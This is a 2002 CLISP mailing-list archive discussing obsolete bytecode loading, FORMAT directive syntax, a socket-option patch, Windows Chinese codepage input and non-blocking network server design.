> Now it sees that there is no file "foo", so it looks in *LOAD-PATHS*
> for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the
> newest of the found files, i.e., "foo.fas", and then signals an error.
> 
> CLISP can also do the following:
> 
> - issue a warning instead and load "foo.lisp"
> 
> - also delete "foo.fas" so that the next time there will be no warning
>   (and a `make' will recompile "foo.lisp")
> 
> - recompile "foo.lisp" - this is very problematic: suppose you use
>   DEFSYSTEM and you keep your LISP files in a different directory from
>   the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the
>   existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument
>   is a dangerous solution for the following reason: suppose you have
>   directories "zoo/" and "zot/" in your *LOAD-PATHS* and both
>   directories hav "foo.lisp" in them (yes, this is not a very good idea
>   in the first place).  The 4 files "foo.lisp" and "foo.fas" may have
>   all combinations of timestamps.  So it is possible that we first see
>   an invalid "zoo/foo.fas", and the second newest file is
>   "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE
>   "zoo/foo.fas") and we clobber a file in "zoo/" with the file which
>   should be in "zot/".
> 
> A warning + optional removing the bad file appears to be the safest way.

I agree that you should issue a warning and load "foo.lisp" instead.
This should become a noted exception to loading the most recent file
rule.

I'm uneasy with CLISP deleting files by default. But an option to delete
old bytecode would be nice.

Regards,
Adam



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 > Suppose you compiled file "foo.lisp" with an older CLISP (so that
 > "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo").
 > 
 > What should CLISP do?

I would behave consistenly with other compiled languages (e.g., say
an caused compiling "C" changed from 'a.out' to 'ELF') and either

    - support the old object format in a backward compatible way;
      (which is not really an option here to do effort/rewrd)

	or

    - signal an error.

So I guess I am saying signal an error.  To recompile automatically,
even with a warning, is to proceed in a mode (probably much slower)
and give the user "almost working" behavior, and possible a little
puzzle to have to solve why things got slower.

In other words, unless there is an announced change in the
functionality of CLISP (not the format) I'm arguing that he (the user)
should get exactly the behavior he had before, including the
performance of compiled modules.

That is just my knee-jerk one-minute response.  Perhaps there is a
middle ground of "automatically recompile, but only if an option is
set" and then we can argue about what should the default for that
option be :)

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> Every now and then CLISP bytecode format changes.
> (last time it was at version 2.28; it might happen again :-)
> Suppose you compiled file "foo.lisp" with an older CLISP (so that
> "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo").
> 
> What should CLISP do?
> 
> Now it sees that there is no file "foo", so it looks in *LOAD-PATHS*
> for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the
> newest of the found files, i.e., "foo.fas", and then signals an error.
> 
> CLISP can also do the following:
> 
> - issue a warning instead and load "foo.lisp"

I think this is the sensible thing to do.  You should be prepared to
signal an error if "foo.lisp" is not available.

> - also delete "foo.fas" so that the next time there will be no warning
>   (and a `make' will recompile "foo.lisp")

I would not want this.  Suppose that you stil have an old copy of
CLisp which does use the older .fas.

> 
> - recompile "foo.lisp" - this is very problematic: suppose you use
>   DEFSYSTEM and you keep your LISP files in a different directory from
>   the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the
>   existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument
>   is a dangerous solution for the following reason: suppose you have
>   directories "zoo/" and "zot/" in your *LOAD-PATHS* and both
>   directories hav "foo.lisp" in them (yes, this is not a very good idea
>   in the first place).  The 4 files "foo.lisp" and "foo.fas" may have
>   all combinations of timestamps.  So it is possible that we first see
>   an invalid "zoo/foo.fas", and the second newest file is
>   "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE
>   "zoo/foo.fas") and we clobber a file in "zoo/" with the file which
>   should be in "zot/".

Now... where is the lid of this can of worms?  I hope it is still on. :)

> 
> A warning + optional removing the bad file appears to be the safest way.
> 
> What do people think?

See above.  You could also extend LOAD with some extra keyword, maybe
:delete-old-fas-files-p

Cheers


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> * In message <E17n4nR-0000f0-00.2002-09-05-23-08-18@imailg1.svr.pol.co.uk>
> * On the subject of "[clisp-list] Linux/hppa crash"
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> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> The interpreter crashes with a SIGSEGV. I have included the backtrace.

Will, Stefan translated the comments in the relevant files, please
look at the current CVS HEAD.

thanks

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Hi!

CLISP 2.29 barfs on this control string

  "~@3A: ~,2F~%"

  *** - Non-existent directive
  Current point in control string:
    ~@3A: ~,2F~%
      |

which I think is OK - at least it works as expected in CMUCL and
LispWorks.

Is this a bug and if so is it fixed in 2.30? (My distro - Gentoo Linux
- is still at 2.29.)

Thanks,
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On Friday 20 Sep 2002 4:51 pm, Sam Steingold wrote:

> Will, Stefan translated the comments in the relevant files, please
> look at the current CVS HEAD.

I figured it out. I missed returning from an asm call.

Fix attached.

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From: "Edi Weitz" <edi@agharta.de>

> CLISP 2.29 barfs on this control string
> 
>   "~@3A: ~,2F~%"
> 
>   *** - Non-existent directive
>   Current point in control string:
>     ~@3A: ~,2F~%
>       |
> 
> which I think is OK - at least it works as expected in CMUCL and
> LispWorks.

It is not OK.

From Hyperspec 22.3 Formatted Output:

"A directive consists of a tilde, optional prefix parameters 
separated by commas, optional colon and at-sign modifiers, 
and a single character indicating what kind of directive this 
is."


P.



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> * In message <87n0qc8ro9.fsf@dyn164.dbdmedia.de>
> * On the subject of "[clisp-list] Problems with FORMAT control string"
> * Sent on 20 Sep 2002 20:03:18 +0200
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
> CLISP 2.29 barfs on this control string
> 
>   "~@3A: ~,2F~%"
> 
>   *** - Non-existent directive
>   Current point in control string:
>     ~@3A: ~,2F~%
>       |
> 
> which I think is OK - at least it works as expected in CMUCL and
> LispWorks.
> 
> Is this a bug and if so is it fixed in 2.30? (My distro - Gentoo Linux
> - is still at 2.29.)

I don't think you are allowed to put ""@:" before numeric arguments:

CLHS 22.3:

        A directive consists of a tilde, optional prefix parameters
        separated by commas, optional colon and at-sign modifiers, and a
        single character indicating what kind of directive this is.

i.e., you should write "~3@a" instead of "~@3a".

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 > Now it sees that there is no file "foo", so it looks in *LOAD-PATHS*
 > for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the
 > newest of the found files, i.e., "foo.fas", and then signals an error.
I don't even like that.
I hope at least if you (load "foo.fas") it doesn't look for foo.lisp, etc.

 > - issue a warning instead and load "foo.lisp"
not good
 > - also delete "foo.fas" so that the next time there will be no warning
 >   (and a `make' will recompile "foo.lisp")
even worse
 > - recompile "foo.lisp"
just as bad as delete

 > A warning + optional removing the bad file appears to be the safest way.
I think it should be an error.  Make it a new subclass of error 
(sublcass of file error?) so anyone who wants to can handle it as he
likes. 



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"Pierpaolo BERNARDI" <bernardp@cli.di.unipi.it> writes:

> From: "Edi Weitz" <edi@agharta.de>
> 
> > CLISP 2.29 barfs on this control string
> > 
> >   "~@3A: ~,2F~%"
> > 
> >   *** - Non-existent directive
> >   Current point in control string:
> >     ~@3A: ~,2F~%
> >       |
> > 
> > which I think is OK - at least it works as expected in CMUCL and
> > LispWorks.
> 
> It is not OK.
> 
> From Hyperspec 22.3 Formatted Output:
> 
> "A directive consists of a tilde, optional prefix parameters 
> separated by commas, optional colon and at-sign modifiers, 
> and a single character indicating what kind of directive this 
> is."

Thanks to you and Sam Steingold for your replies. I should have
checked the CLHS before asking.

Sorry for the noise,
Edi.



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I use a command similar to cvs -c mcvs-main to compile Meta-CVS.
this *always* compiles mcvs-main.lisp, but for all the modules
that this one depends on, it only compiles if the .fas files don't
exist or are out of date, which is nice, sensible behavior.

Would it be braindamaged in some way if -c treated the root module
in the same way as the others?



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I am enclosing a patch which adds socket-get-option and socket-set-option
subrs.  This patch was generated against 2.28.  In addition, a set of
keyword symbols were also added, :so-keepalive, :so-oobinline, etc.

To enable keepalives on a socket, for example, you can:

	(socket-set-option <socket> :so-keepalive t)

The current value would be obtained by:

	(socket-get-option <socket> :so-keepalive)

which returns two values.  The first is the option value.  The second
indicates whether the first value is "valid", i.e. did the underlying
getsockopt() routine actually return a value?

socket-get/set-option works on both server and stream sockets, although
server sockets are normally used for inheritance purposes only.

I thought by implementing these functions, more specifically support for the
:so-sndlowat option, I would be able to solve the problem I addressed to
this forum.  The send low-water mark is the minimum amount of free space
that must be available on the send socket buffer before select() will return
true for write.  It defaults to 1.

Unfortunately, Linux 2.2 only provides a read-only interface (although 2.4
provides a read/write interface) and Windows 2000 provides a read-only
interface which lies.  Thus, this patch, although it may be useful, doesn't
solve my problem.

	Dave

-----Original Message-----
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> * In message <AOENJKDECJBPGIGJDAALAEBPCBAA.dave@synergy.org>
> * On the subject of "TCP-based Network Server in CLISP"
> * Sent on Thu, 19 Sep 2002 09:50:58 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> This could be alleviated if there was a write-byte-no-hang

(defun write-byte-no-hang (b o)
  (case (socket-status o 0)
   ((:io :output) (write-byte b o) b)
   (t nil)))

> or a way to known in advance, how much can be written without
> blocking.

I don't think this is possible - OS does not tell that.

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diff -rc clisp-2.28/src/constsym.d clisp-2.28-new/src/constsym.d
*** clisp-2.28/src/constsym.d	Wed Feb 27 15:36:19 2002
--- clisp-2.28-new/src/constsym.d	Sat Sep 21 12:25:21 2002
***************
*** 885,890 ****
--- 885,892 ----
  #ifndef WIN32_NATIVE
  LISPSYM(socket_stream_handle,"SOCKET-STREAM-HANDLE",socket)
  #endif
+ LISPSYM(socket_get_option,"SOCKET-GET-OPTION",socket)
+ LISPSYM(socket_set_option,"SOCKET-SET-OPTION",socket)
  #endif
  LISPSYM(built_in_stream_open_p,"BUILT-IN-STREAM-OPEN-P",system)
  LISPSYM(input_stream_p,"INPUT-STREAM-P",lisp)
***************
*** 1212,1217 ****
--- 1214,1229 ----
  LISPSYM(Kscope,"SCOPE",keyword)
  LISPSYM(Kself,"SELF",keyword)
  LISPSYM(Ktree,"TREE",keyword)
+ #endif
+ #ifdef SOCKET_STREAMS
+ LISPSYM(Kso_keepalive,"SO-KEEPALIVE",keyword)
+ LISPSYM(Kso_oobinline,"SO-OOBINLINE",keyword)
+ LISPSYM(Kso_rcvbuf,"SO-RCVBUF",keyword)
+ LISPSYM(Kso_rcvhiwat,"SO-RCVHIWAT",keyword)
+ LISPSYM(Kso_rcvlowat,"SO-RCVLOWAT",keyword)
+ LISPSYM(Kso_sndbuf,"SO-SNDBUF",keyword)
+ LISPSYM(Kso_sndhiwat,"SO-SNDHIWAT",keyword)
+ LISPSYM(Kso_sndlowat,"SO-SNDLOWAT",keyword)
  #endif
  
  # sonstige Symbole:
diff -rc clisp-2.28/src/stream.d clisp-2.28-new/src/stream.d
*** clisp-2.28/src/stream.d	Sat Mar  2 15:21:30 2002
--- clisp-2.28-new/src/stream.d	Sat Sep 21 12:26:12 2002
***************
*** 15101,15106 ****
--- 15101,15221 ----
  
  #endif
  
+ # (SOCKET-GET-OPTION socket-stream option)
+ LISPFUN(socket_get_option,2,0,norest,nokey,0,NIL) {
+   begin_system_call();
+   { var object socket = STACK_1;
+     var object option = STACK_0;
+     var SOCKET handle;
+     var int status = -1;
+     if (socket_server_p(socket)) {
+       test_socket_server(socket,true);
+       handle = TheSocket(TheSocketServer(socket)->socket_handle);
+     } else {
+       test_socket_stream(socket,true);
+       handle = SocketChannel(socket);
+     }
+     if (!symbolp(option))
+       fehler_symbol(option);
+     if (eq(option,S(Kso_keepalive))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_KEEPALIVE, &val, &len);
+       value1 = val ? T : NIL;
+     } else if (eq(option,S(Kso_oobinline))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_OOBINLINE, &val, &len);
+       value1 = val ? T : NIL;
+     } else if (eq(option,S(Kso_rcvbuf))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_RCVBUF, &val, &len);
+       value1 = fixnum(val);
+     } else if (eq(option,S(Kso_rcvlowat))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_RCVLOWAT, &val, &len);
+       value1 = fixnum(val);
+     } else if (eq(option,S(Kso_sndbuf))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_SNDBUF, &val, &len);
+       value1 = fixnum(val);
+     } else if (eq(option,S(Kso_sndlowat))) {
+       var int val;
+       var unsigned len = sizeof (val);
+       status = getsockopt(handle, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+       value1 = fixnum(val);
+     } else
+       value1 = NIL;
+     value2 = status == 0 ? T : NIL;
+     skipSTACK(2);
+     mv_count=2; }
+   end_system_call();
+ }
+ 
+ # (SOCKET-SET-OPTION socket-stream option value)
+ LISPFUN(socket_set_option,3,0,norest,nokey,0,NIL) {
+   begin_system_call();
+   { var object socket = STACK_2;
+     var object option = STACK_1;
+     var object value = STACK_0;
+     var SOCKET handle;
+     var int status = -1;
+     if (socket_server_p(socket)) {
+       test_socket_server(socket,true);
+       handle = TheSocket(TheSocketServer(socket)->socket_handle);
+     } else {
+       test_socket_stream(socket,true);
+       handle = SocketChannel(socket);
+     }
+     if (!symbolp(option))
+       fehler_symbol(option);
+     if (eq(option,S(Kso_keepalive))) {
+       var uintL val = nullp(value) ? 0 : 1;
+       var uintL len = sizeof (val);
+       status = setsockopt(handle, SOL_SOCKET, SO_KEEPALIVE, &val, len);
+     } else if (eq(option,S(Kso_oobinline))) {
+       var uintL val = nullp(value) ? 0 : 1;
+       var uintL len = sizeof (val);
+       status = setsockopt(handle, SOL_SOCKET, SO_OOBINLINE, &val, len);
+     } else if (eq(option,S(Kso_rcvbuf))) {
+       var uintL val;
+       var uintL len = sizeof (val);
+       if (!posfixnump(value))
+         fehler_symbol(value);
+       val = posfixnum_to_L(value);
+       status = setsockopt(handle, SOL_SOCKET, SO_RCVBUF, &val, len);
+     } else if (eq(option,S(Kso_rcvlowat))) {
+       var uintL val;
+       var uintL len = sizeof (val);
+       if (!posfixnump(value))
+         fehler_symbol(value);
+       val = posfixnum_to_L(value);
+       status = setsockopt(handle, SOL_SOCKET, SO_RCVLOWAT, &val, len);
+     } else if (eq(option,S(Kso_sndbuf))) {
+       var uintL val;
+       var uintL len = sizeof (val);
+       if (!posfixnump(value))
+         fehler_symbol(value);
+       val = posfixnum_to_L(value);
+       status = setsockopt(handle, SOL_SOCKET, SO_SNDBUF, &val, len);
+     } else if (eq(option,S(Kso_sndlowat))) {
+       var uintL val;
+       var uintL len = sizeof (val);
+       if (!posfixnump(value))
+         fehler_symbol(value);
+       val = posfixnum_to_L(value);
+       status = setsockopt(handle, SOL_SOCKET, SO_SNDLOWAT, &val, len);
+     } else
+       value1 = NIL;
+     value1 = status == 0 ? T : NIL;
+     skipSTACK(3);
+     mv_count=1; }
+   end_system_call();
+ }
+ 
  #endif # SOCKET_STREAMS
  
  
diff -rc clisp-2.28/src/subr.d clisp-2.28-new/src/subr.d
*** clisp-2.28/src/subr.d	Wed Feb 27 15:36:18 2002
--- clisp-2.28-new/src/subr.d	Sat Sep 21 12:25:40 2002
***************
*** 975,980 ****
--- 975,982 ----
  #ifndef WIN32_NATIVE
  LISPFUNN(socket_stream_handle,1)
  #endif
+ LISPFUNN(socket_get_option,2)
+ LISPFUNN(socket_set_option,3)
  #endif
  LISPFUNN(built_in_stream_open_p,1)
  LISPFUNN(input_stream_p,1)

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Hi all,

I'm just a little stuck on how to turn an error condition that I have
trapped that looks like this:

#<system::simple-unbound-variable #x203F499D>

Into something meaningful like "variable TEST has no value at line xxx"

I'm currently using this code:

(handler-case
   (eval code)
   (serious-condition (error)
		      (format t "EVAL error: ~S" error)))

For example if I try this in CLISP:

[1]> (+ A 1)
*** - EVAL: variable A has no value

Compare the error message above to:

[3]> (setf code '(+ A 1))
(+ A 1)
[4]> (handler-case
   (eval code)
   (serious-condition (error)
                      (format t "EVAL error: ~S" error)))
EVAL error: #<SYSTEM::SIMPLE-UNBOUND-VARIABLE #x20455345>
NIL

Many thanks,
Adam



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Eric Moncrieff wrote:
> I'll check this now.  Nope...Emacs hexl mode shows me just the 0A
> at line ends, no 0Ds anywhere.  Or at least, 'configure' and 'lndir'
> have the correct line endings.  Any other thoughts?  Has anyone on 
> the list compiled successfully under cygwin?

Yes.
I even have a binary tar.gz to download at
http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp/clisp-2.30-i686-unknown-cygwin32-1.3.12.tar.gz

looks to me that winnt\system32\find.exe is before cygwin\bin\find.exe 
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I implemented something now - please read
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#loadfile>
and try CVS HEAD.
comments are welcome.
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> * In message <1032691720.2449.18.camel@work>
> * On the subject of "[clisp-list] Verbose trapped error messages"
> * Sent on 22 Sep 2002 22:48:40 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> [4]> (handler-case
>    (eval code)
>    (serious-condition (error)
>                       (format t "EVAL error: ~S" error)))
> EVAL error: #<SYSTEM::SIMPLE-UNBOUND-VARIABLE #x20455345>

try (format t "EVAL error: ~A" error)

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> * In message <Pine.LNX.4.44.0209211255001.23682-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: clisp -c always compiles"
> * Sent on Sat, 21 Sep 2002 13:02:15 -0700 (PDT)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> I use a command similar to cvs -c mcvs-main to compile Meta-CVS.
> this *always* compiles mcvs-main.lisp, but for all the modules
> that this one depends on, it only compiles if the .fas files don't
> exist or are out of date, which is nice, sensible behavior.

-c means "compile this file, no matter what".
COMPILE-FILE recompiles the REQUIREd files, when necessary.
see <http://clisp.cons.org/impnotes/system.html#require>.

> Would it be braindamaged in some way if -c treated the root module
> in the same way as the others?

Yes. 

Use make(1) or defsystem or roll your own check (see
CLOCC/CLLIB/fileio.lisp, function LOAD-COMPILE-MAYBE).

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> * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP"
> * Sent on Sat, 21 Sep 2002 17:53:31 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> I am enclosing a patch which adds socket-get-option and
> socket-set-option subrs.  This patch was generated against 2.28.

could you please work off the CVS head?

> To enable keepalives on a socket, for example, you can:
> 
> 	(socket-set-option <socket> :so-keepalive t)
> 
> The current value would be obtained by:
> 
> 	(socket-get-option <socket> :so-keepalive)
> 
> which returns two values.  The first is the option value.  The second
> indicates whether the first value is "valid", i.e. did the underlying
> getsockopt() routine actually return a value?

this is not "the Lisp way".
could you please change your patch so that...

1. you should export just one symbol SOCKET-OPTION and use
        (setf (socket-option socket :so-keepalive) t)
   instead of the separate setter function

2. you should write a ChangeLog entry

3. when setsockopt or getsockopt fails, you should signal an error
   instead of returning a second value.

4. you should export the symbol SOCKET-OPTION in init.lisp

5. do not wrap the whole function body in
   begin_system_call/end_system_call.
   
otherwise the patch looks good.


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Dear all,
 I like to wrap the English characters with Chinese characters.
 In the old DOS version, I can use Defmacro to accomplish this.=20
 But in new versions 2.24 and later, it seems don't accept Chinese =
character anymore ?

 It show Error message like this..
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available to process this command.
*** - READ from
#INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
  #<IO SYNONYM-STREAM *DEBUG-IO*>>:an object cannot start with #\>

Sincerely,
 Wsj


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Date: Wed Sep 25 05:31:01 2002
X-Original-Date: Wed, 25 Sep 2002 23:29:27 +1000

Hi,

Wednesday, September 25, 2002, 1:27:16 PM, you wrote:

>  I like to wrap the English characters with Chinese characters.
>  In the old DOS version, I can use Defmacro to accomplish this. 
>  But in new versions 2.24 and later, it seems don't accept Chinese character anymore ?

>  It show Error message like this..
> *** - Win32 error 8 (ERROR_NOT_ENOUGH_MEMORY) Not enough storage is available to process this command.
> *** - READ from
> #INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
>   #<IO SYNONYM-STREAM *DEBUG-IO*>>:an object cannot start with #\>

New versions support codepage or encoding selection. Characters are
being translated on input from terminal encoding to unicode, unicode
is used for internal character handling. On output characters being
translated back. Terminal encoding can be set by '-Eterminal ENC'
clisp command line option where ENC stands for your Chinese encoding.
There are also -Efile -Emisc -Epathname and -Eforeign (for FFI).
I don't know how terminal works to input your Chinese characters which
are cannot fit into 7 bit (codes 128-255), so it must input two-byte
characters or somewhat like it... Terminal encoding should be set to
windows OEM charset, but there can be some problems with Chinese...
What *terminal-encoding* is set to in your case ?

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Date: Wed Sep 25 23:37:01 2002
X-Original-Date: Thu, 26 Sep 2002 17:32:44 +1000

Hi,

Thursday, September 26, 2002, 12:15:56 PM, you wrote:


>    Do you mean use the LanguageCode ,for example
>    Danish                       DAN 
>    Dutch (Standard)     NLD 
>    Belgian (Flemish)    NLB 
>    American                     ENU   .......
No, one language can have a number of codepages.

>    My  *terminal-encoding* is
>     #<ENCODING CHARSET:ISO-8859-1 :DOS>

>     What should I do next?
All right, now please run this to investigate what codepage your
system using for console:

(print (dir-key-single-value :win32
  "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NLS\\CODEPage" "OEMCP"))

Seems that clisp don't know codepage you using. Last version (2.30)
was compiled with very limited set of codepages, but 2.29 should
understand much more. I just read that there is two Chinese codepages
: 936 (PRC, Singapore) and 950 (Taiwan; Hong Kong SAR, PRC). Clisp
2.29 (more precisely, libiconv library built in it) knows 950, but
don't know 936 (and defaults to ISO-8859-1).

Error message seems strange altough. What do you tried to enter, a
string, a character or maybe you tried to name a variable in Chinese ?

Let us discuss this in list, maybe other users have the same problem
too (please make carbon copies to clisp-list).

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Date: Thu Sep 26 01:57:02 2002
X-Original-Date: Thu, 26 Sep 2002 19:54:54 +1000

Hi,

Thursday, September 26, 2002, 5:23:39 PM, you wrote:

> @echo off
> "H:\clisp-2.29\lisp.exe" -B "H:/clisp-2.29/" -M "H:\clisp-2.29\lispinit.mem" -L 950 %1 %2 %3 %4 %5 %6 %7 %8 %9 
> then type 
[1]>> *terminal-encoding*
> #<ENCODING "CP950" :DOS>
I think -L is for clisp interface selection (error messages etc) on
systems with gettext. Doesn't work in windows (should work in cygwin
version, but I was unable to get it working yet). So that encoding is
correctly got from OS.

> but when I use  -Eterminal
> @echo off
> "H:\clisp-2.29\lisp.exe" -B "H:/clisp-2.29/" -M "H:\clisp-2.29\lispinit.mem" -Etermianl 950 %1 %2 %3 %4 %5 %6 %7 %8 %9 
[1]>> *terminal-encoding*
> #<ENCODING CHARSET:ISO-8859-1 :DOS> 
Two mistakes: a typo in "-Etermianl" and codepages like this should be
prepended with CP, i.e. "-Eterminal CP950".

> It seems 2.29 know 950 codpage now.
> But when I use Chinese Characters in setf or quote
> (setf x 'CHINESECHARS)  here CHINESECHARS are Chinese characters.
> The test.jpg is the result.
Ok, maybe there is an error in clisp, I'll try to check. Error doesn't
happen with Russian characters.

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Hi,

Thursday, September 26, 2002, 7:54:54 PM, you wrote:

>> It seems 2.29 know 950 codpage now.
>> But when I use Chinese Characters in setf or quote
>> (setf x 'CHINESECHARS)  here CHINESECHARS are Chinese characters.
>> The test.jpg is the result.
> Ok, maybe there is an error in clisp, I'll try to check. Error doesn't
> happen with Russian characters.
Well, seems that there is no simple solution - CP950 have two-byte
characters as well as one-byte ASCII ones.

I can suppose that statement that cause problem is

  var int result = read(handle,&b,1); # try to read a byte

in stream.d [4549] and XP throws an error when there is twobyte
character in buffer. Is there any specialists in the field ?

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I added SOCKET:SOCKET-OPTIONS to the CVS head.
please do "cvs up" and try it.
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-opt>

> * In message <AOENJKDECJBPGIGJDAALCECECBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP"
> * Sent on Sat, 21 Sep 2002 17:53:31 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> Unfortunately, Linux 2.2 only provides a read-only interface (although
> 2.4 provides a read/write interface)

well, I would think that few people use 2.2 now (and even fewer will be
using it when CLISP with SOCKET-OPTIONS will be released).

> Windows 2000 provides a read-only interface which lies.

yuk!
maybe Arseny can suggest something here?

> Thus, this patch, although it may be useful, doesn't solve my problem.

maybe you will invent another solution?


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Date: Fri Sep 27 05:14:01 2002
X-Original-Date: Fri, 27 Sep 2002 23:12:03 +1000

Hi,

Friday, September 27, 2002, 6:34:45 AM, you wrote:

>> Unfortunately, Linux 2.2 only provides a read-only interface (although
>> 2.4 provides a read/write interface)

> well, I would think that few people use 2.2 now (and even fewer will be
> using it when CLISP with SOCKET-OPTIONS will be released).
>> Windows 2000 provides a read-only interface which lies.
> yuk!
> maybe Arseny can suggest something here?
Well, SO_RCVLOWAT and SO_SNDLOWAT are nonsupported in winsock. One
thing I can suggest to solve a problem is to make socket nonblocking.
But it is only first step. One can use SOCKET-STATUS aka select()
to determine if he/she may send the data to it. But it doesn't
guarantees send() will succeed and all the more lisp output operator
will succeed. Suppose I wrote (format sockstream "~D ~D" 111 222) and
it result in two send()s. A half of resulted string, say, "111 " will
succesfully being sent, but "222" will stuck. Nonblocking socket returns
WSAENOBUFS from send(). We won't wait and raise an exception in lisp.
How to recover on this error at lisp level ?

Another way is to use SO_SNDBUF to set buffer for sends, but I'm not
sure about what it means. If it guarantees that when select() allows
to send data and data is not longer than sndbuf then send succeeds ?
We then can get a buffer to hold all the data or check if
data will fit in buffer. Again, we should know data size generated by
lisp statement before actual send. What to do if OS doesn't allow big
buffer sizes and the data is big ? Doubtful way I think.


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> * In message <AOENJKDECJBPGIGJDAALMECKCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP"
> * Sent on Thu, 26 Sep 2002 22:51:59 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > please do "cvs up" and try it.
> 
> I don't know how to do this.

<http://sourceforge.net/cvs/?group_id=1355>

> I had problems compiling 2.30 for both platforms.

what problems?
what platforms?
why didn't you report them?

> Has no one implemented a defsystem for CLISP yet?

You can use defsystem 3.x from CLOCC, it works.

The CLISP special handling of REQUIRE allows you to use a simple
Makefile, as explained in the impnotes:
<http://clisp.cons.org/impnotes/system.html#require>

please keep CLISP-related discussion on <clisp-list>, as explained in
<http://clisp.cons.org/faq.html#help>

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Hi,

I find the current discussion about low-water-marks and using lots of =
special socket flags likely to run into trouble with all the many =
TCP/IP stacks around.
I also believe it's complete overkill for Dave Richards' initial =
problem.

>Have other people written network servers in CLISP?
Most I know have either done something at a trivial (unsafe, not =
robust) level or given up on using CLISP.

May I suggest something simple, like what I believe many other =
programmers in other Lisps or languages do and which is portable for =
sockets: in non-blocking mode, you can read _as much as is available_ =
using a single read(). I think you can also write() a large number, and =
the OS will tell you that it couldn't write all and tell you how much =
it actually wrote. It's then up to you/the application to deal with =
sending the rest at a later time.

So this E-Mail is a feature request for Lisp-level access to a single =
OS-level read() and write. READ-SOME-BYTE/SEQUENCE et al.

> By using a read-byte-no-hang I can read data
>until the entire request has been read
Using READ-CHAR-NO-HANG for i/o instead of sequence/array functions is =
going to keep your program a _toy prototype_ with extremely poor =
performance. Stated otherwise: if it works not too badly for you, thank =
the OS (scheduler, dispatcher, TCP stack implementations, system load =
etc.), not your application.

Sadly, CLISP has no better way yet. I think I once suggested =
READ-SOME-BYTES and WRITE-SOME-BYTES, which would do a single =
OS-dependent read() or write(). There was a thread about "buffering and =
partial read/writes" in February.

>Another approach
>would be to implement "atomic" I/O functions, i.e. a version of
>read-sequence or write-sequence which returned the requested amount or
>actually transferred amount of data.
Exactly my proposal. Please proceed in this direction.

I think it's important to realize, stress and document that the result =
of a single call to write() is higly OS and file/pipe/socket dependent. =
E.g. I once debugged a REXX application where the programmer assumed =
the READ function would return a full read. The story is, the string =
buffer was not filled up when working on pipes, but would always be =
when working with disk files...
Thankfully CLISP does full READ on all kinds of files.

Regards,
	J=F6rg H=F6hle.


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> Well, SO_RCVLOWAT and SO_SNDLOWAT are nonsupported in winsock. One
> thing I can suggest to solve a problem is to make socket nonblocking.

I agree with your subsequent analysis.  The CLISP stream logic pre-supposes
that partial read()s/write()s are errors, and thus, non-blocking is only the
beginning of a solution.

> Another way is to use SO_SNDBUF to set buffer for sends, but I'm not
> sure about what it means.

SO_SNDBUF really isn't helpful in this context.  It may be useful from a
performance perspective, but since CLISP has no way of knowing the current
windowing state, knowing the send buffer size isn't helpful.

In previous lives I've implemented server socket abstractions for
non-blocking/single-threaded environments.  It's not conceptually difficult
to do, but it's going to have to be done in C.  I'm not going to attempt it
until I have a better feel for the CLISP/C environment.

	Dave




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> I find the current discussion about low-water-marks and using
> lots of special socket flags likely to run into trouble with all
> the many TCP/IP stacks around.

This is true.  The low-water mark approach was an attempt at addressing the
non-partial write() problem.  Since neither OS I was testing with supports
it, it's fair to suggest that there are likely to be problems.

The :so-snd/rcvbuf really only address server performance.  :so-keepalive
and :so-oobinline, however, address correctness issues.

> May I suggest something simple, like what I believe many other
> programmers in other Lisps or languages do and which is portable
> for sockets: in non-blocking mode, you can read _as much as is
> available_ using a single read(). I think you can also write() a
> large number, and the OS will tell you that it couldn't write all
> and tell you how much it actually wrote. It's then up to you/the
> application to deal with sending the rest at a later time.

Yes, the final solution is going to require:

	- an interface to select()
	- non-blocking sockets
	- interfaces to partial read()/write()

I'd also like an interface to the real interbal time, which is currently
unavailable because the interruptprocessing logic is using it.

I am quickly coming to the conclusion that CMUCL is a better platform for
this application as these interfaces already exist.

	Dave




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> * In message <AOENJKDECJBPGIGJDAALKECMCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] TCP-based Network Server in CLISP"
